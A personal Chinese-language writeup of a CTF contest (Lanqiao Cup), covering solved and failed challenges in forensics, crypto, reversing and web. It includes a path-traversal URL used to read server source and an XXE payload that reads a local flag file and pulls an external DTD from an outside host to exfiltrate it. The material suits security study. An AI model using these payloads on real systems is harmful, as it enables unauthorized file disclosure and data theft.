第十六届蓝桥杯省赛个人 Writeup

NOTE

先吐槽一波:初赛不让上网查资料是人打的嘛,真就初赛即决赛???还不是传统出题法,你那堆分类谁第一眼能看出来是什么题目啊???

我不信这比赛没有人用黄色版 CTF-all-in-One 好吧,一题出来了以后一堆人跟着出,一分钟内零解题出 5 个人是吧

然后说是不让用网,结果又发通知说有一题可以用 =-=

好好好玩我呢是吧

累了,事不过三,以后不报蓝桥了。蓝桥参加第三次了,前两次 Python 算法,今年第一次参加网安,太抽象了

我 TM 周末早八起来到底是为了啥哟 (┬_┬)

我的评价是:不如 CCSSSC,人平台虽然屎但是人比赛办的还不错啊,建议你下次别办

【数据分析】flowzip

There are many zip files.

打开流量包发现大量 HTTP 请求,里面包含 100 个 zip 文件

TIP

高端的食材,往往只需要最朴素的烹饪方式

直接用 strings 提取

$ strings .\flowzip.pcapng | grep flag

得到

jpkwz.txtflag{c6db63e6-6459-4e75-bb37-3aec5d2b947b}PK

所以 flag 为 flag{c6db63e6-6459-4e75-bb37-3aec5d2b947b}

【数据分析】ezEvtx

EVTX文件是Windows操作系统生成的事件日志文件,用于记录系统、应用程序和安全事件。

(本题需要选手找出攻击者访问成功的一个敏感文件,提交格式为flag{文件名},其中文件名不包含文件路径,且包含文件后缀)

用 ELX 打开,搜索 access an object 就得到了

访问的文件为 C:\Admin\confidential.docx,所以 flag 为 flag{confidential.docx}

【情报收集】黑客密室逃脱

你被困在了顶级黑客精心设计的数字牢笼中,每一道关卡都暗藏致命陷阱!唯一的逃脱之路,是破解散落在服务器各处的加密线索,找到最终的“数字钥匙”。

开局让我们看日志

访问得到线索

线索1:d9d1c4d9e0aac39b98b09d996961a39895ab92a893a4c6a69969656da09c94a399a6c1a395da6b6b63b1

秘密区域告诉我们有文件读取

输入 /file?name=../../../../../../app/app.py 得到源码

import os
from flask import Flask, request, render_template
from config import *
# author: gamelab

app = Flask(__name__)

# 模拟敏感信息
sensitive_info = SENSITIVE_INFO

# 加密密钥
encryption_key = ENCRYPTION_KEY

def simple_encrypt(text, key):
    encrypted = bytearray()
    for i in range(len(text)):
        char = text[i]
        key_char = key[i % len(key)]
        encrypted.append(ord(char) + ord(key_char))
    return encrypted.hex()

encrypted_sensitive_info = simple_encrypt(sensitive_info, encryption_key)

# 模拟日志文件内容
log_content = f"用户访问了 /secret 页面,可能试图获取 {encrypted_sensitive_info}"

# 模拟隐藏文件内容
hidden_file_content = f"解密密钥: {encryption_key}"

# 指定安全的文件根目录
SAFE_ROOT_DIR = os.path.abspath('/app')
with open(os.path.join(SAFE_ROOT_DIR, 'hidden.txt'), 'w') as f:
    f.write(hidden_file_content)

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/logs')
def logs():
    return render_template('logs.html', log_content=log_content)

@app.route('/secret')
def secret():
    return render_template('secret.html')

@app.route('/file')
def file():
    file_name = request.args.get('name')
    if not file_name:
        return render_template('no_file_name.html')
    full_path = os.path.abspath(os.path.join(SAFE_ROOT_DIR, file_name))
    if not full_path.startswith(SAFE_ROOT_DIR) or 'config' in full_path:
        return render_template('no_premission.html')
    try:
        with open(full_path, 'r') as f:
            content = f.read()
        return render_template('file_content.html', content=content)
    except FileNotFoundError:
        return render_template('file_not_found.html')

if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0')

debug = True,想访问 /console,打不开

看到有 hidden.txt

# 指定安全的文件根目录
SAFE_ROOT_DIR = os.path.abspath('/app')
with open(os.path.join(SAFE_ROOT_DIR, 'hidden.txt'), 'w') as f:
    f.write(hidden_file_content)

得到解密密钥

根据题目给的 simple_encrypt 函数

def simple_encrypt(text, key):
    encrypted = bytearray()
    for i in range(len(text)):
        char = text[i]
        key_char = key[i % len(key)]    # key=secret_key7434 len(key)=14 key_char=从左到右依次取
        encrypted.append(ord(char) + ord(key_char))
    return encrypted.hex()

自己写一个解密的脚本

SECRET = bytearray.fromhex('d9d1c4d9e0aac39b98b09d996961a39895ab92a893a4c6a69969656da09c94a399a6c1a395da6b6b63b1')

key = "secret_key7434"

decrypted = bytearray()

for i in range(len(SECRET)):
    char = SECRET[i]
    key_char = key[i % len(key)]
    decrypted.append(char - ord(key_char))
    
print(decrypted)

解出来得到 flag

flag{6d037fe6-0329-449a-b529-71142b80a470}

【数据库安全】crawler(未出)

一个简单的爬虫系统,测测它的安全问题吧!

是一个用 PHP 写的系统,Cookie 里面有 PHPSESSID

打开是个登录页面,发现只有使用用户名为 admin 登录的时候会弹提示为 ❌ 用户名或密码错误,其他用户名都是 ❌ 登录失败

爆破不出来,尝试一下 sql 注入,用 sqlmap 浅浅测一下,发现 sqlmap 说无法注入

那好吧,我确实没思路了

【密码破解】easy_AES(未出)

题目采用的是传统的AES加密,但是其中的key似乎可以通过爆破得到,你能找到其中的问题,解密出敏感数据吗?

题目给了源码

from Crypto.Cipher import AES  # 导入AES加密模块
from secret import flag       # 从secret模块导入flag(假设为明文)
import random, os             # 导入random和os模块用于随机数生成

# 为消息填充字节,使其长度为16的倍数
def pad(msg):
    return msg + bytes([16 - len(msg) % 16 for _ in range(16 - len(msg) % 16)])

# 对密钥进行随机置换,生成新密钥
def permutation(key):
    tables = [hex(_)[2:] for _ in range(16)]  # 生成0-15的十六进制表(去掉"0x"前缀)
    random.shuffle(tables)                    # 随机打乱表
    newkey = "".join(tables[int(key[_], 16)] for _ in range(len(key)))  # 根据原密钥生成新密钥
    return newkey

# 生成初始密钥key0及其置换密钥key1
def gen():
    key0 = os.urandom(16).hex()  # 随机生成16字节密钥并转为十六进制字符串
    key1 = permutation(key0)     # 对key0进行置换生成key1
    return key0, key1

# 使用key0和key1进行双重AES加密
def encrypt(key0, key1, msg):
    aes0 = AES.new(key0, AES.MODE_CBC, key1)  # 用key0加密,key1作为CBC模式的IV
    aes1 = AES.new(key1, AES.MODE_CBC, key0)  # 用key1解密,key0作为CBC模式的IV
    return aes1.decrypt(aes0.encrypt(msg))    # 先加密后解密生成密文

# 生成密钥对
key0, key1 = gen()
a0, a1 = int(key0, 16), int(key1, 16)  # 将密钥转为整数

gift = a0 & a1  # 计算key0和key1的按位与,作为泄露信息
cipher = encrypt(bytes.fromhex(key0), bytes.fromhex(key1), pad(flag))  # 加密填充后的flag

print(f"gift = {gift}")
print(f"key1 = {key1}")
print(f"cipher = {cipher}")

'''
gift = 64698960125130294692475067384121553664
key1 = 74aeb356c6eb74f364cd316497c0f714
cipher = b'6\xbf\x9b\xb1\x93\x14\x82\x9a\xa4\xc2\xaf\xd0L\xad\xbb5\x0e|>\x8c|\xf0^dl~X\xc7R\xcaZ\xab\x16\xbe r\xf6Pl\xe0\x93\xfc)\x0e\x93\x8e\xd3\xd6'
'''

NOTE

出题人是不是懒得写代码了,这代码 AI 味也太浓了,连 (假设为明文) 都出来了(第二行)

首先可以看到题目生成了一对密钥,其中 key0 是随机生成的,key1 是通过 key0 中的内容随机编排而成的

然后再加密解密的过程中,key0 和 key1 会分别作为密钥和向量 iv 进行加解密,过程大概是

对 msg 用 key=key0, iv=key1 进行 AES 加密,在对结果用 key=key1, iv=key0 进行 AES 解密,得到了题目给我们的 cipher

cipher = b'6\xbf\x9b\xb1\x93\x14\x82\x9a\xa4\xc2\xaf\xd0L\xad\xbb5\x0e|>\x8c|\xf0^dl~X\xc7R\xcaZ\xab\x16\xbe r\xf6Pl\xe0\x93\xfc)\x0e\x93\x8e\xd3\xd6'

所以如果要反着来,就得要用 key=key1, iv=key0 先进行 AES 加密,再对其结果用 key=key0, iv=key1 进行 AES 解密才能得到我们的明文

然后现在的问题是 key0 未知,题目说可以爆破,但是题目给的条件说实话我不太会用

题目给了个 gift,然后这个 gift 是通过 a0 & a1 产生的(按位与)

然后?就么有然后了……真不会利用这个 gift

【密码破解】ECBTrain(未出)

AES的ECB模式存在很明显的缺陷。你能否尝试以admin身份完成本题挑战?

题目给了容器,nc 进去有注册、登录、退出三个选项

╰─  nc 39.105.2.63 20628
 _____ _____ ______ _____         _
|  ___/  __ \| ___ \_   _|       (_)
| |__ | /  \/| |_/ / | |_ __ __ _ _ _ __
|  __|| |    | ___ \ | | '__/ _` | | '_ \
| |___| \__/\| |_/ / | | | | (_| | | | | |
\____/ \____/\____/  \_/_|  \__,_|_|_| |_|

请选择操作:
1. 注册
2. 登录
3. 退出
请输入选项编号:

其中,注册不能够以用户名 admin 注册,我先用用户名 user,密码 123 注册得到

请输入选项编号: 1
请输入用户名: user
请输入密码: 123
注册成功!你的auth为: eHDaWi860uwUt/Khad7iSw==

而当我用登录,会这么说

请选择操作:
1. 注册
2. 登录
3. 退出
请输入选项编号: 2
若是能以admin身份登录就给你flag。
请输入auth: eHDaWi860uwUt/Khad7iSw==
登录成功!
你是以 user 身份登录

也就是说登录跟密码一点关系都没有,我们要做的是利用 ECB 模式的缺陷,使得我们的 auth 变成 admin 的 auth

那么问题来了 ECB 的缺陷是什么???(不让上网查呀我没办法呀)

【密码破解】Enigma(未出)

Enigma是20世纪早期由德国工程师Arthur Scherbius设计的一款便携式机械加密设备,旨在为需要高安全性通信的场景提供加密保护。其核心原理基于可旋转的机械转子、反射器和接线板的组合,通过复杂的电路转换实现对明文的加密与解密。

(本题需要选手还原成原文字母,提交格式为flag{原文字母},其中原文字母为全英文大写,且去掉空格。)

布什戈门?这 tm 是个啥哟???

题目给了一个 html 文件,打开是赛博厨子(设定好的)

没懂这是什么原理,又不让查,下一个

【漏洞挖掘分析】星际XML解析器(未出)

你已进入星际数据的世界,输入XML数据,启动解析程序,探索未知的数据奥秘!

打开是一个网页

确实实现了 xml 的解析,我开始在想是不是 XXE(因为 ADCTF 做过一道 XXE),先浅浅地拿 ADCTF 的 payload 来试试(虽然远程文件不存在)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % dtd SYSTEM "https://org.bili33.top/CTFTMP/try.dtd">
%dtd;
%send;
]>
<reg><name>11</name><tel>22</tel><email>33</email></reg>

然后就报错了

看来并不是 XXE 那一套,还是不给查,我也没办法

【逆向分析】ShadowPhases(未出)

在调查一起跨国数据泄露事件时,你的团队在暗网论坛发现一组被称作’三影密匣’的加密缓存文件。据匿名线报,这些文件采用上世纪某情报机构开发的“三重影位算法”,关键数据被分割为三个相位,每个相位使用不同的影位密钥混淆。威胁分析显示,若不能在48小时内还原原始信息,某关键基础设施的访问密钥将被永久销毁。逆向工程师的日志残页显示:‘相位间存在密钥共鸣,但需警惕内存中的镜像陷阱..

先惯例拖进 IDA 看看有没有什么线索,但是我没看出来

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char Str1[128]; // [rsp+30h] [rbp-50h] BYREF
  char Str2[128]; // [rsp+B0h] [rbp+30h] BYREF
  void *v6; // [rsp+130h] [rbp+B0h]
  void *v7; // [rsp+138h] [rbp+B8h]
  void *v8; // [rsp+140h] [rbp+C0h]
  void *v9; // [rsp+150h] [rbp+D0h]
  void *v10; // [rsp+158h] [rbp+D8h]
  void *v11; // [rsp+160h] [rbp+E0h]
  char v12[13]; // [rsp+16Eh] [rbp+EEh] BYREF
  char v13[15]; // [rsp+17Bh] [rbp+FBh] BYREF
  char Src[5]; // [rsp+18Ah] [rbp+10Ah] BYREF
  char v15[9]; // [rsp+18Fh] [rbp+10Fh] BYREF
  void *v16; // [rsp+198h] [rbp+118h]
  void *v17; // [rsp+1A0h] [rbp+120h]
  void *Block; // [rsp+1A8h] [rbp+128h]
  char v19[6]; // [rsp+1B2h] [rbp+132h] BYREF
  size_t v20; // [rsp+1B8h] [rbp+138h]
  size_t v21; // [rsp+1C0h] [rbp+140h]
  size_t Size; // [rsp+1C8h] [rbp+148h]

  sub_401B10();
  Src[0] = 0;                                   // src = [0, 5, -125, 0x80, -114]
  Src[1] = 5;
  Src[2] = -125;
  Src[3] = 0x80;
  Src[4] = -114;
  strcpy(v15, "+");
  v15[2] = -125;                                // v15 = ["+", -125, 47, -86, 43, -127, -88, -91]
  v15[3] = 47;
  v15[4] = -86;
  v15[5] = 43;
  v15[6] = -127;
  v15[7] = -88;
  v15[8] = -91;
  Size = 14i64;
  v13[0] = 19;                                  // v13 = [19, 57, -66, -66, -76, 56, -72, -70, -69, -96, 62, -112, 58, -70, -76]
  v13[1] = 57;
  v13[2] = -66;
  v13[3] = -66;
  v13[4] = -76;
  v13[5] = 56;
  v13[6] = -72;
  v13[7] = -70;
  v13[8] = -69;
  v13[9] = -76;
  v13[10] = 62;
  v13[11] = -112;
  v13[12] = 58;
  v13[13] = -70;
  v13[14] = -76;
  v21 = 15i64;
  v12[0] = -117;                                // v12 = [-117, -119, 3, 4, -120, -117, 32, 9, 34, -120, 8, -115, -120, -81]
  v12[1] = -119;
  v12[2] = 34;
  v12[3] = -120;
  v12[4] = -117;
  v12[5] = 32;
  v12[6] = 9;
  v12[7] = 34;
  v12[8] = -120;
  v12[9] = 8;
  v12[10] = -115;
  v12[11] = -120;
  v12[12] = -81;
  v20 = 13i64;
  v19[5] = -103;                                // v19 = ['"', "D", "f", -1, -35, -103]
  v19[4] = -35;
  v19[3] = -1;
  qmemcpy(v19, "\"Df", 3);
  Block = malloc(0xFui64);
  v17 = malloc(v21 + 1);
  v16 = malloc(v20 + 1);
  if ( !Block || !v17 || !v16 )
  {
    puts(&Buffer);
    exit(1);
  }
  memcpy(Block, Src, Size);
  memcpy(v17, v13, v21);
  memcpy(v16, v12, v20);
  sub_4015B6((__int64)Block, Size, v19[2]);
  sub_4015B6((__int64)v17, v21, v19[1]);
  sub_4015B6((__int64)v16, v20, v19[0]);
  *((_BYTE *)Block + Size) = 0;
  *((_BYTE *)v17 + v21) = 0;
  *((_BYTE *)v16 + v20) = 0;
  v9 = v17;
  v10 = v16;
  v11 = Block;
  v6 = Block;
  v7 = v17;
  v8 = v16;
  sub_401550(Str2, 0x80ui64, "%s%s%s", (const char *)Block, (const char *)v17, (const char *)v16);
  printf(&Format);
  scanf("%127s", Str1);
  if ( !strcmp(Str1, Str2) )
    puts(&byte_40502A);
  else
    puts(&byte_405031);
  free(Block);
  free(v17);
  free(v16);
  return 0;
}

【逆向分析】BashBreaker(未出)

赛博考古学界流传着一个传说——人工智能先驱艾琳·巴什博士在自杀前,将毕生研究的核心算法封存在了他的量子实验室中。这个实验室遵循古老的巴什博弈协议,唯有通过15枚光子硬币的智慧试炼,才能唤醒沉睡的实验室AI。

简单来说这就是在 15 步的步程内,双方都可以选择走 1~3 步,谁先走到终点谁就赢了

int __fastcall main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  int v5[2]; // [rsp+2Ch] [rbp-14h] BYREF
  unsigned int i; // [rsp+34h] [rbp-Ch]
  int v7; // [rsp+38h] [rbp-8h]
  int v8; // [rsp+3Ch] [rbp-4h]

  _main(argc, argv, envp);
  v8 = 15;
  v3 = time(0i64);
  srand(v3);
  puts("You want my treasure? You can have it all if you want it. Go find it! I hid the treasure chest in the program");
  puts("Number of remaining steps: 15 | 1 to 3 steps per round | The first one to get to the KEY\n");
  v5[1] = 0;
  while ( v8 > 0 )
  {
    printf("Remaining steps: [%d]\n", (unsigned int)v8);
    do
    {
      printf("Number of steps (1-3): ");
      while ( scanf("%d", v5) != 1 )
      {
        printf("Input error, please re-enter: ");
        while ( getchar() != 10 )
          ;
      }
      if ( v5[0] > 0 && v5[0] <= 3 )
      {
        if ( v8 < v5[0] )
          printf(aNotEnoughSteps, (unsigned int)v8);
      }
      else
      {
        puts(aMustTake13Step);
      }
    }
    while ( v5[0] <= 0 || v5[0] > 3 || v8 < v5[0] );
    v8 -= v5[0];
    printf("* Player walks %d steps, remaining %d\n\n", (unsigned int)v5[0], (unsigned int)v8);
    if ( v8 <= 0 )
    {
      full_decrypt();
      puts("This is your KEY. You deserve it ! !");
      for ( i = 0; i <= 0x2F; ++i )
        printf("%02X", real_key[i]);
      break;
    }
    v7 = calculate_best_move((unsigned int)v8);
    if ( v7 <= 0 || v7 > 3 )
      v7 = 1;
    if ( v7 > v8 )
      v7 = v8;
    v8 -= v7;
    printf("* The AI takes %d steps, remaining %d\n\n", (unsigned int)v7, (unsigned int)v8);
    if ( v8 <= 0 )
      puts("This treasure does not belong to you. Go back, Boy");
  }
  printf("\nGame over ! ");
  system("pause");
  return 0;
}

calculate_best_move 函数中能够看到对手的逻辑

__int64 __fastcall calculate_best_move(int a1)
{
  if ( a1 <= 0 )
    return 0i64;
  if ( a1 % 4 )
    return (unsigned int)(a1 % 4);
  if ( a1 == 4 )
    return 3i64;
  if ( a1 == 8 )
    return 3i64;
  return (unsigned int)(rand() % 3 + 1);
}

如果剩余的步数小于等于 0,返回 0;如果 a1 % 4 != 0,就返回余数,如果 a1 == 4 或者 a1 == 8,就返回 3,其他时候返回一个随机的步数

我相信这一题肯定不会是让你真的来做完这个游戏的,但是我也不知道咋做

【漏洞挖掘分析】RuneBreach(未出)

你是一名穿越到异世界的勇者,正面临最终决战!邪恶的 Boss 即将占领你的王国,唯一的机会就是利用传说中的“漏洞之剑”击败它。

然而,Boss 在战场上布下了魔法沙箱结界,禁止你使用常规的“召唤术”!你必须找到结界中的弱点,注入符文,才能给予 Boss 致命一击!

这个题目里面说到”魔法沙箱结界”,我在想是不是沙箱逃逸

拖进 IDA 看一眼,在函数 battle_loop 里面有战斗相关的逻辑

void __noreturn battle_loop()
{
  unsigned int v0; // eax
  char v1; // [rsp+3h] [rbp-1Dh]
  int v2; // [rsp+4h] [rbp-1Ch]
  unsigned int v3; // [rsp+8h] [rbp-18h]
  int v4; // [rsp+10h] [rbp-10h]
  int v5; // [rsp+18h] [rbp-8h]

  v4 = 100;
  v5 = 150;
  v2 = 1;
  puts("\n==== BOSS BATTLE START ====");
  while ( 1 )
  {
    v0 = v2++;
    printf("\n-- Round %d --\n", v0);
    printf("Player HP: %d | Boss HP: %d\n", (unsigned int)v4, (unsigned int)v5);
    v3 = (int)(((double)v4 / 200.0 + 0.5) * (double)20);
    printf("You attack! Damage: %d\n", v3);
    v5 -= v3;
    if ( v5 <= 0 )
      break;
    printf("\nDefend? (y/N): ");
    v1 = getchar();
    while ( getchar() != 10 )
      ;
    if ( v1 == 121 || v1 == 89 )
    {
      v4 -= 7;
      printf("You defend! Damage reduced: %d\n", 15LL);
    }
    else
    {
      v4 -= 30;
      printf("No defense! Damage taken: %d\n", 30LL);
    }
    if ( v4 <= 0 )
    {
      puts("\n[System] Game Over...");
      boss_victory();
      exit(0);
    }
  }
  puts("\n[System] Boss defeated!");
  victory_message();
  exit(0);
}

然后如果打败了 Boss,会让你说胜利宣言,此时在 victory_message 函数里面获取输入用的是 gets

unsigned __int64 victory_message()
{
  char v1[40]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v2; // [rsp+28h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("[System] Enter victory comment: ");
  gets(v1);
  printf("Your comment: %s\n", v1);
  return __readfsqword(0x28u) ^ v2;
}

然后 v1 的长度是 40,所以暂且认为这里有一个栈溢出

然后再看输了的逻辑,Boss 会说这块领地是它的了,然后会告诉你这块领地(内存)的地址(但其实程序最开始也告诉你了)

__int64 boss_victory()
{
  void *addr; // [rsp+0h] [rbp-10h]

  addr = (void *)(exec_area & 0xFFFFFFFFFFFFF000LL);
  if ( mprotect((void *)(exec_area & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7) == -1 )
  {
    perror("mprotect failed");
    exit(1);
  }
  printf("[BOSS] Your place is mine now %p!\n", addr);
  printf("[BOSS] Say your last word to your territory: ");
  read(0, addr, 1056uLL);
  return ((__int64 (*)(void))addr)();
}

这里用的是 read 读取,看起来没有什么可以用的,而且 addr 是一个指针

所以大概率能利用的是那个栈溢出,但是我没有找到 vuln 那种可利用的函数

【漏洞挖掘分析】Jdbc_once(未出)

Fenjing是一款为CTF比赛设计的自动化脚本,专注于Jinja SSTI漏洞利用,旨在绕过WAF。它能自动攻击指定网站或接口,省去手动测试和fuzz WAF的时间。通过智能生成payload,支持编码混淆、字符替换等绕过技术。来用Fenjing测一测你的网站是否存在安全问题吧。

(题目同时开放了8888端口和80端口,该题目允许使用互联网辅助答题,不允许使用AI作答)

这就是公告里面说可以查的那一体,焚靖确实可以自动化测 SSTI,打开题目提供的 8888 端口就是一个焚靖,但是如果我们直接访问 80 端口就会被拦住,提示 Only 127.0.0.1,而我修改标头也没有绕过这一点

但是用焚靖就可以访问

没明白这题想要干嘛,说实话

总结

我太菜了(呜呜呜

蓝桥初赛断网抽象归抽象,但说到底还是有点储备不足了……咱确实也不是全栈爷 =-=

但是但是,事不过三,蓝桥肯定不会有下一次了,我绝对不会再报蓝桥了,本来是想要弄点比赛加分才打的,但是后面发现这玩意在我们学校加分挺少的,而且报个名还有 300 块,所以肯!定!不!会!再!有!下!次!了!

Comments

留下你的见解与看法吧🎉